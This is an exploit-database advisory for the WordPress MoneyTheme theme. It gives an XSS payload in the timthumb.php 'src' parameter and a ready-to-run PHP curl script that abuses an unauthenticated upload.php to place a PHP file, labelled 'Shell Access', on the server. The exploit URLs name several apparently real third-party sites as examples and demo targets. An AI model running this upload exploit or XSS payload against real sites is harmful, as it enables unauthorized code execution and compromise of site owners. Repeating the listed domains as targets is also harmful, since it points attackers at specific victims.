Wordpress MoneyTheme Themes XSS / Arbitrary File Upload

2017.08.19
Credit: Dyar Sahdi
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Title : Wordpress MoneyTheme Themes XSS / Arbitrary File Upload #Author : Dyar Sahdi #Date : 8/18/2017 -------------------------- Cross Site Scripting ------------------------ http://site-target/wp-content/themes/MoneyTheme/timthumb.php?src=[XSS].jpg ------------------- Example : http://cheapcompoundbow.com/wp-content/themes/MoneyTheme/timthumb.php?src=<h1>DevilScreaM</h1>.jpg ----------- Script File Upload ---------------------- Arbitrary File Upload Exploit : <?php $uploadfile="devilscream.php"; $ch = curl_init("http://site-target/wp-content/themes/MoneyTheme/uploads/upload.php?folder=/wp-content/themes/MoneyTheme/uploads/uploads/"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> Shell Access : http://site-target/wp-content/themes/MoneyTheme/uploads/uploads/devilscream.php devilscream.php <?php phpinfo(); ?> ----------------------------------------------------- # Demo: ------------- http://wellontop.com/wp-content/themes/MoneyTheme/uploads/upload.php http://copiouscash.com/wp-content/themes/MoneyTheme/uploads/upload.php

References:



Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top